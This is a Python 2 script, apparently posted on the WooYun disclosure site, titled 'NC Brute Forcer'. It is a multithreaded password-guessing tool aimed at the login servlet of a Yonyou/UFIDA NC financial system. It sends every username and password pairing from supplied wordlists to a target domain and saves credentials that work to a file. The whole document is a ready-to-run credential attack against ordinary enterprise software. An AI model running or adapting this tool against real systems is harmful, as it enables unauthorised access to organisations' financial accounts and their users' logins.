WooYun.org

#! /usr/bin/env python
#coding=utf-8
#ver 1.2
import urllib
import urllib2
import threading
import  time
import argparse
parser = argparse.ArgumentParser(description='NC Brute Forcer.')
parser.add_argument('domain', type=str, help='Target mail domain, e.g. nc.womaiapp.com')
parser.add_argument('UnitCode', type=str, help='Unit Code, e.g. 01 or 00 or 0001')
parser.add_argument('users', type=str, help='username dict file path, e.g. users.txt')
parser.add_argument('passwords', type=str, help='passwords dict file path, e.g. passwords.txt')
parser.add_argument('validateCode', type=str, help='validate Code')
args = parser.parse_args()
now = int(time.time())
timeArray = time.localtime(now)
daydata = time.strftime("%Y-%m-%d", timeArray)
#print daydata
alive_thread = 0
def brute_user(user, pwd):
    global alive_thread
    values = {'m_strLangCode': 'simpchn',
        'm_strLangCodeLbl': '简体中文', 'm_strOrg': 'level_code', 'm_strOrgLbl':'单位级次编码',
        'm_strUnitCode':args.UnitCode, 'm_strUnitCodeRef':args.UnitCode,
        'm_strUserCode':user, 'm_strPassword':pwd,'m_strLoginDate':daydata, 'validateCode':args.validateCode}
    data = urllib.urlencode(values)
    #print data
    url = 'http://' + args.domain + '/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.login.LoginAction&method=ajaxValiate&ajax=1'
    #print url
    
    headers = {'Accept': '*/*',
        'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'zh-cn', 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
        'Referer': 'http://' + args.domain + '/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.login.LoginAction', 'Connection': 'Keep-Alive',
        'Pragma': 'no-cache', 'Cookie': 'Org_Code=level_code; unit_code=args.UnitCode; user_code=user; lang_Code=simpchn; JSESSIONID=00002gEgXEaKn6sFEHEkybioX3E:17sgnvrgi'}
    #print headers
    try:
        req = urllib2.Request(url, data,headers)
        response = urllib2.urlopen(req, timeout=2)
        rep_page = response.read()
        #print rep_page
        result=len(rep_page)
        if result == 0:
            print  "%s %s login sucess" % (user,pwd)
            with open('NC-' + args.domain + '-SUCCESSFUL.txt', 'a') as outFile:
                    outFile.write(user + ' ' + pwd + '\n')
       
    except Exception, e:
        print
        print "%s %s login failed" % (user,pwd)
        print
    threading.Lock()
    alive_thread -= 1
    threading.RLock()
    
users = []
with open(args.users) as inFile:
    while True:
        user = inFile.readline().strip()
        if len(user) == 0: break
        users.append(user)
passwords = []
with open(args.passwords) as inFile:
    while True:
        pwd = inFile.readline().strip()
        if len(pwd) == 0: break
        passwords.append(pwd)
print 'NC Brute Start', ' --- '
for user in users:
    for pwd in passwords:
        pwd = pwd.replace('<user>', user)
        print 'testing', user, ' -- ', pwd
        while (alive_thread>20):
            time.sleep(1)
        threading.Lock()
        alive_thread +=1
        threading.RLock()
        threading.Thread(target=brute_user,args=(user,pwd)).start()
        pass